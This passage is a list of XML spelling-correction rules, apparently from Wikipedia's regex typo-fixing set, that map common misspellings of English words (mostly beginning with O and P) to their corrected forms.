<Typo word="n-round something" find="\b(\d+|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))\b\s+round(?=\s+(?:d(?:ecisions?|raws?)|knockouts?|KOs?|match(?:es)?|newspaper\s+decisions?|technical\s+knockouts?|TKOs?))" replace="$1-round"/><!--"A n-something" won't catch all useful, esp. boxing-related things-->
<Typo word="n-something contract/deal/run/etc." find="\b((?<!,)\d{1,3}|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|hr(?:ee|irt(?:een|y))|w(?:e(?:lve|nty)|o)))(?: |\s+)(album|book|episode|fi(?:ght|lm)|game|movie|picture|record)(?=\s+(?:contract|deal|run|s(?:uspension|weep))\b)" replace="$1-$2"/><!--entertainment-related hyphen combos-->
<Typo word="n-time champion/winner_" find="\b([\d]+[\d,\.]*|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))\b\s+time(?=\s+(?:champions?|defending\s+champions?|losers?|nominees?|winners?))" replace="$1-time"/>
</source>
===O===
<source lang="xml">
<Typo word="(Dis)Obedient" find="\b([dD]iso|[oO])bedian(ce|t(?:ly)?)\b" replace="$1bedien$2"/>
<Typo word="Obituary" find="\b([oO])bit(?:au?|ia|u)r(ies|y)\b" replace="$1bituar$2"/>
<Typo word="Obsess" find="\b([oO])b(?:es|s(?:e|ses?))s(e[ds]|i(?:ng|ons?|ve)(?:ly)?|ors?)?\b" replace="$1bsess$2"/>
<Typo word="Obsolete" find="\b([oO])bselete([ds]?|ly)\b" replace="$1bsolete$2"/>
<Typo word="Obstacle (1)" find="\b([oO])bsta(?:cal|ncle)(s)?\b" replace="$1bstacle$2"/>
<Typo word="Obstacle (2)" find="\b([oO])b(?:st(?:acal|ica?le?)|t(?:ac(?:al|le)|ica?le?))(s)?\b" replace="$1bstacle$2"/>
<Typo word="Occasion" find="\b([oO])c(?:a(?:is+|s(?:s+|t)?|t)|ca(?:is+|s(?:s+|t)|t))i?on+(al[a-z]*|ed|ing|s?)\b" replace="$1ccasion$2"/>
<Typo word="Occupied" find="\b([oO])ccupate([ds])\b" replace="$1ccupie$2"/>
<Typo word="Occupy" find="\b([oO])ccupate?(ing)?\b" replace="$1ccupy$2"/>
<Typo word="(Un)Occupy" find="\b([oO]|[uU]no)c(?:cup|up?)p(a(?:nts?|tion[a-z]*)|ie[ds]|y(?:ing)?)\b" replace="$1ccup$2"/>
<Typo word="Occur" find="\b([oO])c(?:co?ur|ur?)r(s)?\b" replace="$1ccur$2"/>
<Typo word="(Re)Occurred/ing/ence" find="\b([oO]|[rR]eo)c(?:cur|ur+)(e(?:d|n(?:ces?|t))|ing)\b" replace="$1ccurr$2"/>
<Typo word="Occurrence" find="\b([oO])c(?:curr?a|ur(?:[ea]|r(?:[ae]|r+e)))n(ces?|t)\b" replace="$1ccurren$2"/>
<Typo word="Octahedron" find="\b([oO])ctohedr(al?(?:ly)?|ons?)\b" replace="$1ctahedr$2"/>
<Typo word="Octave" find="\b([oO])ctiv(al|es?)\b" replace="$1ctav$2"/>
<Typo word="Oeuvre" find="\b([oO])uevre(s)?\b" replace="$1euvre$2"/>
<Typo word="Of...descent" find="\b([oO]f\s+[A-Z][a-z]+(?:an|ese|i(?:c|sh))\s+de)cs?ent\b" replace="$1scent"/>
<Typo word="Of(f) course" find="\b([oO]ff?)course\b" replace="$1 course"/>
<Typo word="Officer" find="\b([oO])ffcer(s)?\b" replace="$1fficer$2"/>
<Typo word="(Un)Official" find="\b([oO]|[uU]no)ffic(?:ai?|cia)l(dom|ism|ly|s?)\b" replace="$1fficial$2"/><!--avoid foreign word oficial-->
<Typo word="(Un)Officially" find="\b([oO]|[uU]no)f+(?:cial|ica)ly\b" replace="$1fficially"/>
<Typo word="Oft(en)times" find="\b([oO])ft(en)?[−―–—\s]+times\b" replace="$1ft$2times"/>
<Typo word="Often" find="\b([oO])ftenly\b" replace="$1ften"/>
<Typo word="Olympic" find="\b([oO])l(?:my?p|y[mp]m?)ic(s)?\b" replace="$1lympic$2"/>
<Typo word="Omelette" find="\b([oO])mlette(s)?\b" replace="$1melette$2"/>
<Typo word="Ominous" find="\b([oO])m(?:en|min|ni)ous(ly)?\b" replace="$1minous$2"/>
<Typo word="Once/Twice" find="\b([oO]n|[tT]wi)ced\b" replace="$1ce"/>
<Typo word="Only" find="\b([oO])nyl\b" replace="$1nly"/>
<Typo word="Onomatopoeia" find="\b([oO])nomatopeo?i(a|c[a-z]*)\b" replace="$1nomatopoei$2"/>
<Typo word="Opening" find="\b([oO])p+enn(ed|ings?)\b" replace="$1pen$2"/>
<Typo word="Operate" find="\b([oO])perrat([a-z]+)\b" replace="$1perat$2"/>
<Typo word="Ophthalmology" find="\b([oO])pthal?m(ic|olog(?:ists?|y))\b" replace="$1phthalm$2"/>
<Typo word="Oppo(nent/site)" find="\b([oO])ppe(nents?|s(?:e[ds]?|i(?:ng|tes?)))\b" replace="$1ppo$2"/>
<Typo word="Opponent" find="\b([oO])ppono?nent(s)?\b" replace="$1pponent$2"/>
<Typo word="Opportunity" find="\b([oO])p+(?:er|or?|ror?|ur)t?uni(?<![oO]pportuni)(s(?:[mt]s?|tic[a-z]*)|t(?:ies|y))\b" replace="$1pportuni$2"/>
<Typo word="(Un)Oppose" find="\b([oO]|[uU]no)p+oss(e[ds]?|ing)\b" replace="$1ppos$2"/>
<Typo word="(O/Su/Presu)ppose" find="\b([oO]|[pP]resu|[sS]u)pos([a-z]+)\b(?<!Reta Oposta)(?<![oO]pos(?:sums?|tegidae?|hchnaya|ura))" replace="$1ppos$2"/>
<Typo word="Opposite" find="\b([oO])pp(?:asite|os(?:ate|it))(ly|s?)\b" replace="$1pposite$2"/>
<Typo word="Opposition" find="\b([oO])pp?ositition\b" replace="$1pposition"/>
<Typo word="Optimism" find="\b([oO])pto?mi(s(?:ations?|e[ds]?|ing|m|t[a-z]*)|z(?:ations?|e[ds]?|ing))\b" replace="$1ptimi$2"/>
<Typo word="Orchestra" find="\b([oO])rch[aiou]?stra([i-sy]*)\b" replace="$1rchestra$2"/>
<Typo word="(Un)Ordered" find="\b([oO]|[uU]no)rded\b" replace="$1rdered"/>
<Typo word="Ordinary" find="\b([oO])ridinar(il)?y\b" replace="$1rdinar$2y"/>
<Typo word="Ordnance (Survey/…)" find="\bOrdinance\s+(Board|Corps|Department|Group|Museum|S(?:quadron|urvey)|Testing)\b" replace="Ordnance $1"/>
<Typo word="Origin" find="\b([oO])r(?:gin|ign)(s)?\b" replace="$1rigin$2"/>
<Typo word="(Un)Original" find="\b([oO]|[uU]no)r(?:g(?:ini?|ni)|i(?:g(?:i(?:ni|on)|ni?)|ng(?:ini?|ni))|ng(?:ini?|ni))a(l(?:ly)?|t(?:e[ds]?|i(?:ng|ons?)|ors?))\b" replace="$1rigina$2"/>
<Typo word="Originally" find="\b([oO])rig(?:[ae]nn?a|i(?:n(?:a|[in]al?)|onal?)|onal?)ly\b" replace="$1riginally"/>
<Typo word="Orphanage" find="\b([oO])rphani?ge(s)?\b" replace="$1rphanage$2"/>
<Typo word="Orthogonal" find="\b([oO])rthag[io]n[ai]l(ly|s?)\b" replace="$1rthogonal$2"/>
<Typo word="Other" find="\b([oO])(?:hte|teh)r(s)?\b" replace="$1ther$2"/>
<Typo word="Others" find="\b([oO])therw\b" replace="$1thers"/>
<Typo word="Out_" find="\botu\b\s" replace="out"/><!--allow surname and place name Otu but not Ma'afu'otu'itonga-->
<Typo word="Outer" find="\b([oO])utter(most|wear)?\b" replace="$1uter$2"/>
<Typo word="Output" find="\b([oO])t?uput(s?|t(?:ed|ing))\b" replace="$1utput$2"/>
<Typo word="Overridden" find="\b([oO])ver(?:id?|ri)den\b" replace="$1verridden"/>
<Typo word="Override" find="\b([oO])ver(id(?:den|es?|ing)|ode)\b" replace="$1verr$2"/>
<Typo word="(Over/Under)whelm" find="\b([oO]v|[uU]nd)erw(?:ea?l|heli)m(ed|ing|s?)\b" replace="$1erwhelm$2"/>
<Typo word="Oxymoron/Oxygen" find="\b([oO])xi(ge|moro)n\b" replace="$1xy$2n"/>
</source>
===P===
<source lang="xml">
<Typo word="Palme d'Or" find="\b[pP]alme?\s+[dD][´ˈ׳᾿‘’′Ꞌꞌ`'][oO]r\b" replace="Palme d'Or"/>
<Typo word="Pamphlet" find="\b([pP])am[fp]let(ing|s?)\b" replace="$1amphlet$2"/>
<Typo word="Pantomime" find="\b([pP])antomine(s)?\b" replace="$1antomime$2"/>
<Typo word="Paper" find="\b([pP])apaer(ed|ing|s?)\b" replace="$1aper$2"/>
<Typo word="Papier-mâché" find="\b([pP])ap(?:er[−―–—\s]+[mM]aché|ier(?:[−―–—\s]+[mM]aché| mâché))\b" replace="$1apier-mâché"/><!--avoid [[wikt:papier-mache]]-->
<Typo word="Parade" find="\b([pP])erade([ds])\b" replace="$1arade$2"/>
<Typo word="(Un)Parallel" find="\b([pP]|[uU]np)ar(?:alel?|el+e|ral(?:el?|le)|r+alle)l(i(?:s(?:e[ds]?|ms?)|ze[ds]?)|e(?:d|pipeds?)|ograms?|s?)\b" replace="$1arallel$2"/>
<Typo word="Parallelly" find="\b([pP])arr?al(?:ell|lel)?y\b" replace="$1arallelly"/>
<Typo word="Paraphernalia" find="\b([pP])araphr?enalia\b" replace="$1araphernalia"/>
<Typo word="Parenthesis" find="\b([pP])aranthe(s[ei]s|tic[a-z]+)\b" replace="$1arenthe$2"/>
<Typo word="Parishioner (1)" find="\b([pP])arish[io]ner(s(?:hip)?)?\b" replace="$1arishioner$2"/>
<Typo word="Parishioner (2)" find="\b([pP])ar(?:is+[hi]?|r+is+h?i?)oner(s(?:hip)?)?\b" replace="$1arishioner$2"/>
<Typo word="Parliament" find="(?!\bParlament\b)\b([pP])ar?l[ai]i?ment(ar[a-z]+|s?)\b" replace="$1arliament$2"/><!--avoid common proper name for foreign parliament "Parlament"-->
<Typo word="Parmesan" find="\bparmesan\b" replace="Parmesan"/>
<Typo word="Participate" find="\b([pP])a[rt]+[ei]?c[aei]*pa?(?<!articipa)(n(?:c[ey]|ts?)|t(?:e[ds]?|i(?:ng|on)|or[sy]?))\b" replace="$1articipa$2"/>
<Typo word="Particular (1)" find="\b([pP])a(?:rticlu?|ticul)a([a-z]+)\b" replace="$1articula$2"/>
<Typo word="Particular (2)" find="\b([pP])ar(?:itucla|ticual)r([a-z]*)\b" replace="$1articular$2"/>
<Typo word="Particularly" find="\b([pP])articu(?:a(?:l[lr]?|ri?l)|l+a(?:lr|r(?:[ei]l+)?)|llarl)y\b" replace="$1articularly"/>
<Typo word="Party" find="\b([pP])ary\b" replace="$1arty"/>
<Typo word="(Sur)pass" find="\b(p|[sS]urp)as(e[ds]|ing)\b" replace="$1ass$2"/><!--avoid Pasing, a place in Germany-->
<Typo word="Passenger" find="\b([pP])as(?:en|se)ger(s)?\b" replace="$1assenger$2"/>
<Typo word="Passer-by" find="\b([pP])asser\s+bye?r?(s)?\b" replace="$1asser$2-by"/>
<Typo word="Passers(-)by" find="\b([pP])asser(-)?bye?r?s\b" replace="$1assers$2by"/>
<Typo word="Pastime" find="\b([pP])as[st]time(s)?\b" replace="$1astime$2"/>
<Typo word="Pastoral" find="\b([pP])astural\b" replace="$1astoral"/>
<Typo word="Patent" find="\b([pP])attent(ed|ing|s?)\b" replace="$1atent$2"/>
<Typo word="(Im)Patience" find="\b([iI]mp|[pP])aitien(ce|t)\b" replace="$1atien$2"/>
<Typo word="Patrolling" find="\b([pP])atrol(e[dr]|ing)\b" replace="$1atroll$2"/>
<Typo word="Pavilion" find="\b([pP])avillion(s)?\b(?!, [wW]yoming\b| [wW]yoming\b)" replace="$1avilion$2"/><!--avoid [[Pavillion, Wyoming]]-->
<Typo word="Pejorative" find="\b([pP])erjor[ai]ti(ons?|ve[a-z]*)\b" replace="$1ejorati$2"/>
<Typo word="Peloton" find="\b([pP])eleton\b" replace="$1eloton"/>
<Typo word="Penélope Cruz" find="\bPenelope\s+Cruz\b" replace="Penélope Cruz"/>
<Typo word="Peninsula" find="\b([pP])en(?:is|ni(?:ns|s)|sin)ula(r)?\b" replace="$1eninsula$2"/>
<Typo word="People (1)" find="\b([pP])(?:eop[el]|oeple)([ds])?\b" replace="$1eople$2"/>
<Typo word="People (2)" find="\b([pP])o?eo(?:lpe|pel)([ds])?\b" replace="$1eople$2"/>
<Typo word="(Un/Mis/Ap)Perceive" find="\b([aA]pp|[mM]isp|[pP]|[uU]np)(?:ercie|rec[ei]+)v(abl[ey]|e[ds]?|ing)\b" replace="$1erceiv$2"/>
<Typo word="Percent" find="\b([pP])recent(ages?)?\b" replace="$1ercent$2"/>
<Typo word="Perform" find="\b([pP])e(?:for|rfo(?:re)?)m(a(?:ble|nces?)|e(?:d|rs?)|ing|s?)\b" replace="$1erform$2"/>
<Typo word="(Non)Performance" find="\b([nN]onp|[pP])(?:er?|re)form(?:a|en|na)ce(s)?\b" replace="$1erformance$2"/>
<Typo word="Performs" find="\b([pP])erfore?mes\b" replace="$1erforms"/>
<Typo word="Perhaps" find="\b([pP])er(?:h(?:asp|eaps|pas)|phas)\b" replace="$1erhaps"/>
<Typo word="Perimeter" find="\b([pP])erimiter(s)?\b" replace="$1erimeter$2"/>
<Typo word="Period" find="\b([pP])(?:e|rer?)iod(s|ic(?:al(?:ly|s?))?)?\b" replace="$1eriod$2"/>
<Typo word="Peripatetic" find="\b([pP])eripathetic\b" replace="$1eripatetic"/>
<Typo word="Peripheral" find="\b([pP])eripherial(ly|s?)\b" replace="$1eripheral$2"/>
<Typo word="Perjury" find="\b([pP])erjerr?y\b" replace="$1erjury"/>
<Typo word="(Im)Permanent" find="\b([iI]mp|[pP])er(?:m(?:an[ai]|[ei]n[aei])|n[aei]m[aei])n(c[ey]|t[a-z]*)\b" replace="$1ermanen$2"/>
<Typo word="Perpendicular" find="\b([pP])erpindicular(ly)?\b" replace="$1erpendicular$2"/>
<Typo word="Perseverance" find="\b([pP])erserver[ae]n(ce|t(?:ly)?)\b" replace="$1erseveran$2"/>
<Typo word="Persevere" find="\b([pP])erserver(e[ds]?|ing)\b" replace="$1ersever$2"/>
<Typo word="Persistent" find="\b([pP])eristen(c[ey]|t(?:ly)?)\b" replace="$1ersisten$2"/><!--avoid persistant, a concept in ontology-->
<Typo word="Personage" find="\b([pP])ersonnage(s)?\b" replace="$1ersonage$2"/>
<Typo word="Personal" find="\b([pP])eros?nal(ity|ly)?\b" replace="$1ersonal$2"/>
<Typo word="Personnel" find="\b([pP])ersonn?ell\b" replace="$1ersonnel"/>
<Typo word="Persuade" find="\b([pP])(?:ersu|u(?:rsua|susa))(d(?:e[ds]?|ing)|si[a-z]+)\b" replace="$1ersua$2"/>
<Typo word="Perturbation" find="\b([pP])ertub(ations?|ed)\b" replace="$1erturb$2"/>
<Typo word="Pessary" find="\b([pP])essiary\b" replace="$1essary"/>
<Typo word="(Com)Petition" find="\b([cC]omp|[pP])etetion(ed|ing|s?)\b" replace="$1etition$2"/>
<Typo word="Pharaoh" find="\b([pP])haroah(s)?\b(?!\sSanders)(?<!(?:A(?:merican|shley)|Jay)\sPharoah|illage\sof\sthe\sPharoahs)" replace="$1haraoh$2"/>
<Typo word="Phenomenal" find="\b([pP])heno(?:menon|n(?:em|men))a(l(?:ly)?)?\b" replace="$1henomena$2"/>
<Typo word="Phenomenally" find="\b([pP])henomenonly\b" replace="$1henomenally"/>
<Typo word="Phenomenon" find="\b([pP])heno(?:m(?:enom|on(?:enom|on(?:on)?))|n[eo]mon)\b" replace="$1henomenon"/>
<Typo word="Philanthropy" find="\b([pP])hila(?:nt(?:hr?|r)|thr)oph?(?<!lanthrop)(i(?:es|sts?)|ic(?:al(?:ly)?)?|[ey])\b" replace="$1hilanthrop$2"/>
<Typo word="Philosophical" find="\b([pP])h(?:ill?i|yll?o)sophical(ly)?\b" replace="$1hilosophical$2"/>
<Typo word="Philosophy" find="\b([pP])hil(?:[ai]so|osa?|so)ph(ers?|i(?:c[a-z]*|es|[sz][a-z]+)|y)\b" replace="$1hilosoph$2"/>
<Typo word="Pho(n/t)ograph" find="\b([pP])ho([nt])a?graph(ers?|ic[a-z]*|[sy])?\b" replace="$1ho$2ograph$3"/>
<Typo word="Phoenician" find="\b[pP]honeci[ao]n(s)?\b" replace="Phoenician$1"/>
<Typo word="Physics" find="\b([pP])hisic(al(?:i(?:s[mt]s?|ty)|ly|s?)|i(?:ans?|sts?|ze[ds]?)|s?)\b" replace="$1hysic$2"/>
<Typo word="Piña Colada" find="\bPina\s+[cC]ol+ada(s)?\b" replace="Piña Colada$1"/>
<Typo word="Picture" find="\b([pP])citur(e[ds]?|ing)\b" replace="$1ictur$2"/>
<Typo word="Piece" find="\b([pP])eic(e(?:[ds]?|meal|work)|ing)\b" replace="$1iec$2"/>
<Typo word="Pilgrimage" find="\b([pP])ilgr(?:a|im)mage(s)?\b" replace="$1ilgrimage$2"/>
<Typo word="Pineapple" find="\b([pP])inn?app?le(s)?\b" replace="$1ineapple$2"/>
<Typo word="Pinocchio" find="\bPin(?:noc?|o)chio\b" replace="Pinocchio"/>
<Typo word="Pioneer" find="\b([pP])i(?:on(?:ee|n(?:ee)?)|non)e+r(ed|ing|s?)\b" replace="$1ioneer$2"/>
<Typo word="Place" find="\b([pP])alce(?!phalo)([a-z]*)\b" replace="$1lace$2"/><!--avoid palcephalopoda & variants-->
<Typo word="(Dis/Em/Mis/Re)Placement" find="\b([dD]isp|[eE]mp|[mM]isp|[pP]|[rR]ep)lacment(s)?\b" replace="$1lacement$2"/>
<Typo word="Plácido Domingo" find="\bPlacido\s+[dD]omingo\b" replace="Plácido Domingo"/>
<Typo word="Plagiarism" find="\b([pP])lagaris([mt])\b" replace="$1lagiaris$2"/>
<Typo word="Plague" find="\b([pP])laug(e[ds]?|ing)\b" replace="$1lagu$2"/>
<Typo word="Plaintiff" find="\b([pP])lantiff?(s)?\b" replace="$1laintiff$2"/>
<Typo word="_plant life" find="(?!\bPlantlife\b)\b([pP])lant-?life\b" replace="$1lant life"/><!--avoid proper n. Plantlife-->
<Typo word="Plantation" find="\b([pP])la[nt]ation(s)?\b" replace="$1lantation$2"/>
<Typo disable="Plaque" find="\b([pP])lacque(s)?\b" replace="$1laque$2"/><!--avoid placque http://www.merriam-webster.com/medical/placque-->
<Typo word="Plateau" find="\b([pP])lateu(s)?\b" replace="$1lateau$2"/>
<Typo word="Platinum" find="\b([pP])lat(?:ini|ni?)um(s)?\b" replace="$1latinum$2"/>
<Typo word="Playwright" find="\b([pP])lay(?:right|writer?)(s)?\b" replace="$1laywright$2"/>
<Typo word="(Un)Pleasant" find="\b([pP]|[uU]np)l(?:aesa|e(?:ase|sa))nt(ly|ness)?\b" replace="$1leasant$2"/>
<Typo word="Plebiscite" find="\b([pP])leb[ei][cs]ite(s)?\b" replace="$1lebiscite$2"/>
<Typo word="Plummet" find="\b([pP])lum(?:et?|met)t(ed|ing|s?)(?<!Rue Plumet)\b" replace="$1lummet$2"/>
<Typo word="Poem" find="\b([pP])eom(s)?\b" replace="$1oem$2"/>
<Typo word="Poetry" find="\b([pP])(?:eotr|oet)y\b" replace="$1oetry"/>
<Typo word="Point" find="\b([aA]pp|[dD]isapp|[pP])iont(e(?:d|rs?)|ing|ments?|s?)\b" replace="$1oint$2"/>
<Typo word="Poison" find="\b([pP])o(?:isi|sio)n(ed|ing|ous|s?)\b" replace="$1oison$2"/>
<Typo word="Political" find="\b([pP])ol(?:i(?:c|t[ci])|tic)al(ly)?\b" replace="$1olitical$2"/>
<Typo word="Politician" find="\b([pP])ol(?:iti(?:c|ti)|tici)an(s)?\b" replace="$1olitician$2"/>
<Typo word="Pollinate" find="\b([pP])olinat([a-z]+)\b" replace="$1ollinat$2"/>
<Typo word="Pollute" find="\b([pP])olut(e[ds]?|i(?:ng|on))\b" replace="$1ollut$2"/>
<Typo word="Pölsa" find="\b([pP])olsa\b" replace="$1ölsa"/>
<Typo word="Polyphonic" find="\b([pP])olyphonyic\b" replace="$1olyphonic"/>
<Typo word="Polysaccharide" find="\b([pP])olysacc?(?:aride|charid)(s)?\b" replace="$1olysaccharide$2"/>
<Typo word="Pomegranate" find="\b([pP])omegranite(s)?\b" replace="$1omegranate$2"/>
<Typo word="Popular" find="\b([pP])opulare\b" replace="$1opular"/>
<Typo word="(Pop/Reg)ularity" find="\b([pP]op|[rR]eg)ul[ai]raty\b" replace="$1ularity"/>
<Typo word="Popularly" find="\b([pP])opular(?:[ai]l)?y\b" replace="$1opularly"/>
<Typo word="Population" find="\b([pP])op(?:luatio|oulatio|ulati)n(s)?\b" replace="$1opulation$2"/>
<Typo word="Portrait" find="\b([pP])r?o(?:rt|tr)a(it(?:s?|ures?)|y(?:als?|ed|ing|s?))\b" replace="$1ortra$2"/>
<Typo word="Portraying" find="\b([pP])ortraing\b" replace="$1ortraying"/>
<Typo word="Position" find="\b([pP])(?:os[st]i|soi)tion(al(?:ly)?|ed|s?)\b" replace="$1osition$2"/>
<Typo word="(Dis/Im/Re/Com/Sup)Position" find="\b([cC]omp|[dD]isp|[iI]mp|[pP]|[rR]ep|[sS]upp)os(?:i(?:sti|titi?)|osti|ti)(on(?:al(?:ly)?|ed|ing|s?)|ve(?:ly|s?))\b" replace="$1ositi$2"/>
<Typo word="(Dis/Re)Possess" find="\b([dD]isp|[pP]|[rR]ep)os(?:es?|se)s(e[ds]|i(?:ng|ons?|ve(?:ly|ness|s?))|ors?)\b" replace="$1ossess$2"/>
<Typo word="Possesses" find="\b([pP])ossessess\b" replace="$1ossesses"/>
<Typo word="(Im)Possibility" find="\b([iI]mp|[pP])os(?:ib(?:ili|li)|sibli)t(ies|y)\b" replace="$1ossibilit$2"/>
<Typo word="(Im)Possible" find="(?<!\bè\s{0,9})\b([iI]mp|[pP])os(?:ib|s(?:ab|ibi))l([ey])\b" replace="$1ossibl$2"/>
<Typo word="Posthumous" find="\b([pP])ost(?:h(?:omous|umo(?:s|usl))|umos)(ly)?\b" replace="$1osthumous$2"/>
<Typo word="Potato" find="\b([pP])otatoe\b" replace="$1otato"/>
<Typo word="Potsdam" find="\bpostdam\b" replace="Potsdam"/>
<Typo word="Power" find="\b([pP])woer(ed|ful(?:ly)?|s?)\b" replace="$1ower$2"/>
<Typo word="Powerful" find="\b([pP])o(?:ver|we)ful\b" replace="$1owerful"/>
<Typo word="Practical" find="\b([aP])racticle\b" replace="$1ractical"/>
<Typo word="Practice" find="\b([pP])ratic(al(?:ly)?|e[ds]?|ing)\b" replace="$1ractic$2"/>
<Typo word="Practitioner" find="\b([pP])racti(?:ci)?oner(s)?\b" replace="$1ractitioner$2"/>
<Typo word="Prairie" find="\b([pP])ra(?:iry|rie)(s)?\b" replace="$1rairie$2"/>
<Typo word="Pre-Columbian" find="\b([pP])re-?Colombian\b" replace="$1re-Columbian"/>
<Typo word="Precursor" find="\b([pP])recu(?:rse|so)r(s)?\b" replace="$1recursor$2"/>
<Typo word="Predecessor" find="\b([pP])re(?:cedesso|d(?:[ai][cs]+es+[eo]|a(?:c(?:[cs]+es+[eo]|es[eo])|s(?:[cs]+es+[eo]|es(?:[eo]|s+[eo])))|e(?:c(?:[cs]+es+[eo]|es[eo])|s(?:[cs]+es+[eo]|es(?:[eo]|s+[eo])))|i(?:c(?:[cs]+es+[eo]|es[eo])|s(?:[cs]+es+[eo]|es(?:[eo]|s+[eo])))|[aei][cs]+es+e))r(s)?\b" replace="$1redecessor$2"/>
<Typo word="Predictable" find="\b([pP])redicatbl([ey])\b" replace="$1redictabl$2"/>
<Typo word="Prediction" find="\b([pP])rediciton(s)?\b" replace="$1rediction$2"/>
<Typo word="Predominately" find="\b([pP])redomiantly\b" replace="$1redominately"/>
<Typo word="Preeminent" find="\b([pP])reminen(ce|t)\b" replace="$1reeminen$2"/>
<Typo word="Preferably" find="\b([pP])referrabl([ey])\b" replace="$1referabl$2"/>
<Typo word="Pregnant" find="\b([pP])reg(?:a(?:na)?|ne)n(c(?:ies|y)|t)\b" replace="$1regnan$2"/>
<Typo word="Premier(e)" find="\b([pP])r(?:eme?i|imie)r(e[ds]?|ing|s?)\b" replace="$1remier$2"/>
<Typo word="Premillennial" find="\b([pP])remillenial\b" replace="$1remillennial"/>
<Typo word="Preoccupy" find="\b([pP])reocup(ations?|ie[ds]|y)\b" replace="$1reoccup$2"/>
<Typo word="Prerogative" find="\b([pP])erogative(s)?\b" replace="$1rerogative$2"/>
<Typo word="Presence" find="\b([pP])res(?:anc|cenc|ens)e\b" replace="$1resence"/>
<Typo word="Presidential" find="\b([pP])res(?:edenti|idenit)al\b" replace="$1residential"/>
<Typo word="Prestigious" find="\b([pP])res(?:it(?:eg[ei]|gi|ig[ei])|t(?:[ei]g[ei]|tig))ous(ly)?\b" replace="$1restigious$2"/>
<Typo word="Presumably" find="\b([pP])resum(?:abe|ib)ly\b" replace="$1resumably"/>
<Typo word="Priest" find="\b([pP])reist(hoods?|ly|s?)\b" replace="$1riest$2"/>
<Typo word="Priesthood" find="\b([pP])riestood\b" replace="$1riesthood"/>
<Typo word="Primitive" find="\b([pP])rimative(ly|s?)\b" replace="$1rimitive$2"/>
<Typo word="Primordial" find="\b([pP])rimordal\b" replace="$1rimordial"/>
<Typo word="Princip(al/le)" find="\b([pP])ri(?:ci|n(?:c|ici))p(al(?:ly|s?)|le[ds]?)\b" replace="$1rincip$2"/>
<Typo word="(Im)Prison" find="\b([iI]mp|[pP])rision(e(?:d|rs?)|ing|ment|s?)\b" replace="$1rison$2"/>
<Typo word="Private" find="\b([pP])rivi?t(e(?:ly|s?)|i[sz](?:ations?|e[ds]?|ing))\b" replace="$1rivat$2"/>
<Typo word="Privately (1)" find="\b([pP])rivatell?y-" replace="$1rivately "/>
<Typo word="Privately (2)" find="\bprivately-(?<= is a privately-)" replace="privately "/>
<Typo word="Privilege" find="\b([pP]|[uU]nderp)riv(?:al[ei]d?|el(?:[ei]d?|le)|il(?:[ai]|ed)|led)g(e[drs]?|ing)\b" replace="$1rivileg$2"/>
<Typo word="Probabilistic" find="\b([pP])robablistic\b" replace="$1robabilistic"/>
<Typo word="Probability" find="\b([pP])roba(?:bila|libi)t(ies|y)\b" replace="$1robability$2"/>
<Typo word="(Im)Probably" find="\b([iI]mp|[pP])ro(?:b(?:al?)?|pab)l([ey])\b" replace="$1robabl$2"/>
<Typo word="Problem" find="\b([pP])(?:orble|robel)m(s)?\b" replace="$1roblem$2"/>
<Typo word="Procedure" find="\b([pP])roce(?:dger|edure)(s)?\b" replace="$1rocedure$2"/>
<Typo word="Proceed" find="\b([pP])rocede?(ed|ings?|s?)\b" replace="$1roceed$2"/>
<Typo word="Process" find="\b([pP])ro(?:c(?:ces*|e)|es?)s(e[ds]|i(?:ng|ons?)|ors?)?\b" replace="$1rocess$2"/>
<Typo word="Processor" find="\b([pP])rocesser(s)?\b" replace="$1rocessor$2"/>
<Typo word="Proclaim" find="\b([pP])roclam(e[dr]|ing)\b" replace="$1roclaim$2"/>
<Typo word="Profess_" find="\b([pP])rof(?:ess+|fes?)s(e[ds]|ing)?\b" replace="$1rofess$2"/>
<Typo word="Profession" find="\b([pP])roff?esion(s)?\b" replace="$1rofession$2"/>
<Typo word="(Non/Semi/Un)Professional" find="\b(emip|[nN]onp|[pP]|Smip|[uU]np)rof(?:es(?:ion+al?|sion(?:al|nal?))|fes+ion+al?)l(i[sz][a-z]+|ly|s?)\b(?<!ofesional\b)" replace="$1rofessional$2"/><!--avoid Spanish word profesional-->
<Typo word="Professor" find="\b([pP])rof(?:es(?:[eo]|se)|fess?[eo])r(s)?\b(?!\s+de\b)(?<!\b(?:[aA]l|[dD]el|[eE][ln]|[uU]n)\s+\b[pP]rof(?:es(?:[eo]|se)|fes(?:[eo]|s[eo]))rs?\b(?!\s+de\b))" replace="$1rofessor$2"/><!--avoid foreign "profesor" thru use of lookaround for various articles-->
<Typo word="Profesor (Spanish)" find="\b([pP])rofessor(s)?\b(?<=\b(?:[dD]el|[eE]l)\s+\b([pP])rofessor(s)?\b)" replace="$1rofesor$2"/>
<Typo word="Proficient" find="\b([pP])rof(?:fi[cst]i[ae]|i[cst]ia)n(cy|t(?:ly)?)\b" replace="$1roficien$2"/>
<Typo word="Programmable" find="\b([pP])rogramable\b" replace="$1rogrammable"/>
<Typo word="Progress" find="\b([pP])(?:rog|togr)ess(ed|i(?:ng|ons?|ve[a-z]*))\b" replace="$1rogress$2"/>
<Typo word="Proliferation" find="\b([pP])reliferat([a-z]+)\b" replace="$1roliferat$2"/>
<Typo word="pro-life" find="\bpro\s*life(rs?)?\b(?![^\s\.]*\.\w)" replace="pro-life$1"/><!--avoid cap. form due to various proper nouns; avoid domains-->
<Typo word="Prolific" find="\b([pP])rofilic(ly)?\b" replace="$1rolific$2"/>
<Typo word="Promiscuous" find="\b([pP])romiscous(ly)?\b" replace="$1romiscuous$2"/>
<Typo word="Promote" find="\b([pP])(?:omo|romot|rome)t(e[ds]|i(?:ng|ons?))\b" replace="$1romot$2"/>
<Typo word="Prompt" find="\b([pP])ropmt(ed|ing|s?)\b" replace="$1rompt$2"/>
